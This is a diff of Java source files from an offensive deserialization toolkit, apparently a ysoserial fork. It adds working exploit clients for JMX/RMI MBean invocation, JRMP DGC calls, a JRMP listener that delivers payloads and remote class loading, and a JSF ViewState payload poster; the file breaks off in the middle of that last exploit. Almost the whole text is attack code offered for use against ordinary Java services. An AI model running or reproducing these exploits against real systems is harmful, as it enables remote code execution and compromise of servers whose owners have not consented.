|
}
|
||||||
|
}
|
||||||
|
}, xnioSsl);
|
||||||
|
|
||||||
|
System.err.println("waiting for connection");
|
||||||
|
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||||
|
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||||
|
if (s == Status.FAILED) {
|
||||||
|
System.err.println("Cannot connect");
|
||||||
|
if (ioFuture.getException() != null) {
|
||||||
|
ioFuture.getException().printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
} else if (s != Status.DONE) {
|
||||||
|
ioFuture.cancel();
|
||||||
|
System.err.println("Connect timeout");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
|
||||||
|
return chf;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||||
|
Channel c;
|
||||||
|
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
|
||||||
|
ch.open("jmx", chResult, options);
|
||||||
|
|
||||||
|
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||||
|
Status s2 = cFuture.await();
|
||||||
|
if (s2 == Status.FAILED) {
|
||||||
|
System.err.println("Cannot connect");
|
||||||
|
if (cFuture.getException() != null) {
|
||||||
|
throw new IOException("Connect failed", cFuture.getException());
|
||||||
|
}
|
||||||
|
} else if (s2 != Status.DONE) {
|
||||||
|
cFuture.cancel();
|
||||||
|
throw new IOException("Connect timeout");
|
||||||
|
}
|
||||||
|
|
||||||
|
c = cFuture.get();
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||||
|
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||||
|
VersionedConnection vc;
|
||||||
|
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||||
|
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||||
|
Reflections.setAccessible(vcCreate);
|
||||||
|
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||||
|
return vc;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||||
|
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||||
|
Object[] params = new Object[1];
|
||||||
|
params[0] = payloadObject;
|
||||||
|
System.err.println("Querying MBeans");
|
||||||
|
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||||
|
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||||
|
for (ObjectInstance oi : testMBeans) {
|
||||||
|
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||||
|
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||||
|
try {
|
||||||
|
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||||
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||||
|
return;
|
||||||
|
} catch (Throwable e) {
|
||||||
|
String msg = e.getMessage();
|
||||||
|
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||||
|
int start = msg.indexOf('"');
|
||||||
|
int stop = msg.indexOf('"', start + 1);
|
||||||
|
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||||
|
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||||
|
int cstart = msg.indexOf(':');
|
||||||
|
int cend = msg.indexOf(' ', cstart + 2);
|
||||||
|
String cls = msg.substring(cstart + 2, cend);
|
||||||
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class ConsoleLogHandler extends Handler {
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void publish(LogRecord record) {
|
||||||
|
System.err.println(record.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void flush() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void close() throws SecurityException {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||||
|
|
||||||
|
private ConnectionProviderContextImpl context;
|
||||||
|
|
||||||
|
|
||||||
|
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||||
|
this.context = context;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void remoteClosed() {
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public OpenListener getServiceOpenListener(String serviceType) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public RegisteredService getRegisteredService(String serviceType) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public ConnectionProviderContext getConnectionProviderContext() {
|
||||||
|
return this.context;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Connection getConnection() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||||
|
|
||||||
|
private XnioWorker worker;
|
||||||
|
|
||||||
|
private ExecutorService executor;
|
||||||
|
|
||||||
|
private Xnio instance;
|
||||||
|
|
||||||
|
private Endpoint endpoint;
|
||||||
|
|
||||||
|
|
||||||
|
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||||
|
this.instance = Xnio.getInstance();
|
||||||
|
|
||||||
|
this.worker = this.instance.createWorker(opts);
|
||||||
|
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||||
|
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||||
|
|
||||||
|
public Thread newThread(Runnable r) {
|
||||||
|
Thread t = new Thread(r, "Worker");
|
||||||
|
t.setDaemon(true);
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public XnioWorker getXnioWorker() {
|
||||||
|
return this.worker;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Xnio getXnio() {
|
||||||
|
return this.instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Executor getExecutor() {
|
||||||
|
return this.executor;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Endpoint getEndpoint() {
|
||||||
|
return this.endpoint;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||||
|
System.err.println("accept");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
|
||||||
|
import javax.management.MBeanServerConnection;
|
||||||
|
import javax.management.ObjectName;
|
||||||
|
import javax.management.remote.JMXConnector;
|
||||||
|
import javax.management.remote.JMXConnectorFactory;
|
||||||
|
import javax.management.remote.JMXServiceURL;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||||
|
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class JMXInvokeMBean {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
|
if (args.length < 6) {
|
||||||
|
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||||
|
|
||||||
|
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||||
|
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||||
|
|
||||||
|
// 去除前两个参数
|
||||||
|
String[] newArray = new String[args.length - 2];
|
||||||
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||||
|
|
||||||
|
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||||
|
|
||||||
|
//close the connection
|
||||||
|
jmxConnector.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JRMP listener triggering RMI remote classloading
|
||||||
|
* <p>
|
||||||
|
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||||
|
* <p>
|
||||||
|
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||||
|
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||||
|
* <p>
|
||||||
|
* This only works if
|
||||||
|
* - the remote end is running with a security manager
|
||||||
|
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||||
|
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||||
|
* <p>
|
||||||
|
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||||
|
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||||
|
* with a security manager bypass exploit (wouldn't be the first time).
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
public class JRMPClassLoadingListener {
|
||||||
|
|
||||||
|
public static final void main(final String[] args) {
|
||||||
|
|
||||||
|
if (args.length < 3) {
|
||||||
|
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||||
|
System.exit(-1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
int port = Integer.parseInt(args[0]);
|
||||||
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
|
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||||
|
c.run();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generic JRMP client
|
||||||
|
* <p>
|
||||||
|
* Pretty much the same thing as {@link RMIBindExploit} but
|
||||||
|
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||||
|
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({
|
||||||
|
"restriction"
|
||||||
|
})
|
||||||
|
public class JRMPClient {
|
||||||
|
|
||||||
|
public static final void main(final String[] args) throws Exception {
|
||||||
|
if (args.length < 5) {
|
||||||
|
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
String hostname = args[0];
|
||||||
|
int port = Integer.parseInt(args[1]);
|
||||||
|
|
||||||
|
// 去除前两个参数
|
||||||
|
String[] newArray = new String[args.length - 2];
|
||||||
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
try {
|
||||||
|
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
|
||||||
|
makeDGCCall(hostname, port, payloadObject);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
|
||||||
|
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||||
|
Socket s = null;
|
||||||
|
DataOutputStream dos = null;
|
||||||
|
try {
|
||||||
|
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||||
|
s.setKeepAlive(true);
|
||||||
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
|
OutputStream os = s.getOutputStream();
|
||||||
|
dos = new DataOutputStream(os);
|
||||||
|
|
||||||
|
dos.writeInt(TransportConstants.Magic);
|
||||||
|
dos.writeShort(TransportConstants.Version);
|
||||||
|
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||||
|
|
||||||
|
dos.write(TransportConstants.Call);
|
||||||
|
|
||||||
|
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||||
|
|
||||||
|
objOut.writeLong(2); // DGC
|
||||||
|
objOut.writeInt(0);
|
||||||
|
objOut.writeLong(0);
|
||||||
|
objOut.writeShort(0);
|
||||||
|
|
||||||
|
objOut.writeInt(1); // dirty
|
||||||
|
objOut.writeLong(-669196253586618813L);
|
||||||
|
|
||||||
|
objOut.writeObject(payloadObject);
|
||||||
|
|
||||||
|
os.flush();
|
||||||
|
} finally {
|
||||||
|
if (dos != null) {
|
||||||
|
dos.close();
|
||||||
|
}
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
|
||||||
|
private URL sendUrl;
|
||||||
|
|
||||||
|
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||||
|
super(out);
|
||||||
|
this.sendUrl = u;
|
||||||
|
}
|
||||||
|
|
||||||
|
MarshalOutputStream(OutputStream out) throws IOException {
|
||||||
|
super(out);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateClass(Class<?> cl) throws IOException {
|
||||||
|
if (this.sendUrl != null) {
|
||||||
|
writeObject(this.sendUrl.toString());
|
||||||
|
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||||
|
writeObject(null);
|
||||||
|
} else {
|
||||||
|
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||||
|
String cb = "";
|
||||||
|
|
||||||
|
for (URL u : us) {
|
||||||
|
cb += u.toString();
|
||||||
|
}
|
||||||
|
writeObject(cb);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Serializes a location from which to load the specified class.
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||||
|
annotateClass(cl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,293 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.rmi.MarshalException;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.UID;
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generic JRMP listener
|
||||||
|
* <p>
|
||||||
|
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||||
|
* client connecting to it and making a call.
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({
|
||||||
|
"restriction"
|
||||||
|
})
|
||||||
|
public class JRMPListener implements Runnable {
|
||||||
|
|
||||||
|
private int port;
|
||||||
|
|
||||||
|
private Object payloadObject;
|
||||||
|
|
||||||
|
private ServerSocket ss;
|
||||||
|
|
||||||
|
private Object waitLock = new Object();
|
||||||
|
|
||||||
|
private boolean exit;
|
||||||
|
|
||||||
|
private boolean hadConnection;
|
||||||
|
|
||||||
|
private URL classpathUrl;
|
||||||
|
|
||||||
|
|
||||||
|
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.payloadObject = payloadObject;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.payloadObject = makeDummyObject(className);
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final void main(final String[] args) throws Exception {
|
||||||
|
if (args.length < 5) {
|
||||||
|
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||||
|
System.exit(-1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 去除第一个参数
|
||||||
|
String[] newArray = new String[args.length - 1];
|
||||||
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
final Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
try {
|
||||||
|
int port = Integer.parseInt(args[0]);
|
||||||
|
System.err.println("* Opening JRMP listener on " + port);
|
||||||
|
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||||
|
c.run();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
protected static Object makeDummyObject(String className) {
|
||||||
|
try {
|
||||||
|
ClassLoader isolation = new ClassLoader() {
|
||||||
|
};
|
||||||
|
ClassPool cp = new ClassPool();
|
||||||
|
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||||
|
CtClass clazz = cp.get(Dummy.class.getName());
|
||||||
|
clazz.setName(className);
|
||||||
|
return clazz.toClass(isolation).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean waitFor(int i) {
|
||||||
|
try {
|
||||||
|
if (this.hadConnection) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
System.err.println("Waiting for connection");
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.wait(i);
|
||||||
|
}
|
||||||
|
return this.hadConnection;
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void close() {
|
||||||
|
this.exit = true;
|
||||||
|
try {
|
||||||
|
this.ss.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
}
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
Socket s = null;
|
||||||
|
try {
|
||||||
|
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||||
|
try {
|
||||||
|
s.setSoTimeout(5000);
|
||||||
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
|
System.err.println("Have connection from " + remote);
|
||||||
|
|
||||||
|
InputStream is = s.getInputStream();
|
||||||
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
|
||||||
|
// Read magic (or HTTP wrapper)
|
||||||
|
bufIn.mark(4);
|
||||||
|
DataInputStream in = new DataInputStream(bufIn);
|
||||||
|
int magic = in.readInt();
|
||||||
|
|
||||||
|
short version = in.readShort();
|
||||||
|
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
DataOutputStream out = new DataOutputStream(bufOut);
|
||||||
|
|
||||||
|
byte protocol = in.readByte();
|
||||||
|
switch (protocol) {
|
||||||
|
case TransportConstants.StreamProtocol:
|
||||||
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
|
if (remote.getHostName() != null) {
|
||||||
|
out.writeUTF(remote.getHostName());
|
||||||
|
} else {
|
||||||
|
out.writeUTF(remote.getAddress().toString());
|
||||||
|
}
|
||||||
|
out.writeInt(remote.getPort());
|
||||||
|
out.flush();
|
||||||
|
in.readUTF();
|
||||||
|
in.readInt();
|
||||||
|
case TransportConstants.SingleOpProtocol:
|
||||||
|
doMessage(s, in, out, this.payloadObject);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
case TransportConstants.MultiplexProtocol:
|
||||||
|
System.err.println("Unsupported protocol");
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bufOut.flush();
|
||||||
|
out.flush();
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
} finally {
|
||||||
|
System.err.println("Closing connection");
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} finally {
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
if (this.ss != null) {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (SocketException e) {
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||||
|
System.err.println("Reading message...");
|
||||||
|
|
||||||
|
int op = in.read();
|
||||||
|
|
||||||
|
switch (op) {
|
||||||
|
case TransportConstants.Call:
|
||||||
|
// service incoming RMI call
|
||||||
|
doCall(in, out, payload);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.Ping:
|
||||||
|
// send ack for ping
|
||||||
|
out.writeByte(TransportConstants.PingAck);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.DGCAck:
|
||||||
|
UID u = UID.read(in);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
throw new IOException("unknown transport op " + op);
|
||||||
|
}
|
||||||
|
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||||||
|
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||||
|
return ObjID[].class;
|
||||||
|
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||||
|
return ObjID.class;
|
||||||
|
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||||
|
return UID.class;
|
||||||
|
}
|
||||||
|
throw new IOException("Not allowed to read object");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ObjID read;
|
||||||
|
try {
|
||||||
|
read = ObjID.read(ois);
|
||||||
|
} catch (java.io.IOException e) {
|
||||||
|
throw new MarshalException("unable to read objID", e);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (read.hashCode() == 2) {
|
||||||
|
ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||||
|
}
|
||||||
|
|
||||||
|
System.err.println("Sending return with payload for obj " + read);
|
||||||
|
|
||||||
|
out.writeByte(TransportConstants.Return);// transport op
|
||||||
|
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||||
|
|
||||||
|
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||||
|
new UID().write(oos);
|
||||||
|
|
||||||
|
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||||
|
Reflections.setFieldValue(ex, "val", payload);
|
||||||
|
oos.writeObject(ex);
|
||||||
|
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
|
||||||
|
this.hadConnection = true;
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notifyAll();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Dummy implements Serializable {
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.HttpURLConnection;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
import java.net.URLEncoder;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JSF view state exploit
|
||||||
|
* <p>
|
||||||
|
* Delivers a gadget payload via JSF ViewState token.
|
||||||
|
* <p>
|
||||||
|
* This will only work if ViewState encryption/mac is disabled.
|
||||||
|
* <p>
|
||||||
|
* While it has been long known that client side state saving
|
||||||
|
* with encryption disabled leads to RCE via EL injection,
|
||||||
|
* this of course also works with deserialization gadgets.
|
||||||
|
* <p>
|
||||||
|
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||||
|
* using server-side state saving
|
||||||
|
* (yes, please, let's (de-)serialize a String as an Object).
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
public class JSF {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
|
||||||
|
if (args.length < 3) {
|
||||||
|
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
URL u = new URL(args[0]);
|
||||||
|
|
||||||
|
// 去除前两个参数
|
||||||
|
String[] newArray = new String[args.length - 1];
|
||||||
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
URLConnection c = u.openConnection();
|
||||||
|
if (!(c instanceof HttpURLConnection)) {
|
||||||
|
throw new IllegalArgumentException("Not a HTTP url");
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection hc = (HttpURLConnection) c;
|
||||||
|
hc.setDoOutput(true);
|
||||||
|
hc.setRequestMethod("POST");
|
||||||
|
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||||
|
OutputStream os = hc.getOutputStream();
|
||||||
|
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||||
|
oos.writeObject(payloadObject);
|
||||||
|
oos.close();
|
||||||
|
byte[] data = bos.toByteArray();
|
||||||
|
